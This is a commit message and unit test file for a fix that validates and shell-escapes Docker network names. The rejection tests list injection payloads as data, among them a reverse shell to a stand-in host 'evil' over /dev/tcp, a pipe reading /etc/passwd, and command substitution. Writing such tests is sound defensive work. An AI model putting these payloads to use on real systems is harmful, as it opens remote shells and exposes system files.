fix: add validation and escaping for Docker network names

Add strict validation for Docker network names using a regex pattern
that matches Docker's naming rules (alphanumeric start, followed by
alphanumeric, dots, hyphens, underscores).

Changes:
- Add DOCKER_NETWORK_PATTERN to ValidationPatterns with helper methods
- Validate network field in Destination creation and update Livewire components
- Add setNetworkAttribute mutator on StandaloneDocker and SwarmDocker models
- Apply escapeshellarg() to all network field usages in shell commands across
  ApplicationDeploymentJob, DatabaseBackupJob, StartService, Init command,
  proxy helpers, and Destination/Show
- Add comprehensive tests for pattern validation and model mutator

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

tests/Unit/DockerNetworkInjectionTest.php

@@ -0,0 +1,48 @@
+<?php
+
+use App\Models\StandaloneDocker;
+use App\Models\SwarmDocker;
+
+it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
+    $model = new StandaloneDocker;
+    $model->network = $network;
+})->with([
+    'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
+    'pipe injection' => 'net|cat /etc/passwd',
+    'dollar injection' => 'net$(whoami)',
+    'backtick injection' => 'net`id`',
+    'space injection' => 'net work',
+])->throws(InvalidArgumentException::class);
+
+it('StandaloneDocker accepts valid network names', function (string $network) {
+    $model = new StandaloneDocker;
+    $model->network = $network;
+
+    expect($model->network)->toBe($network);
+})->with([
+    'simple' => 'mynetwork',
+    'with hyphen' => 'my-network',
+    'with underscore' => 'my_network',
+    'with dot' => 'my.network',
+    'alphanumeric' => 'network123',
+]);
+
+it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
+    $model = new SwarmDocker;
+    $model->network = $network;
+})->with([
+    'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
+    'pipe injection' => 'net|cat /etc/passwd',
+    'dollar injection' => 'net$(whoami)',
+])->throws(InvalidArgumentException::class);
+
+it('SwarmDocker accepts valid network names', function (string $network) {
+    $model = new SwarmDocker;
+    $model->network = $network;
+
+    expect($model->network)->toBe($network);
+})->with([
+    'simple' => 'mynetwork',
+    'with hyphen' => 'my-network',
+    'with underscore' => 'my_network',
+]);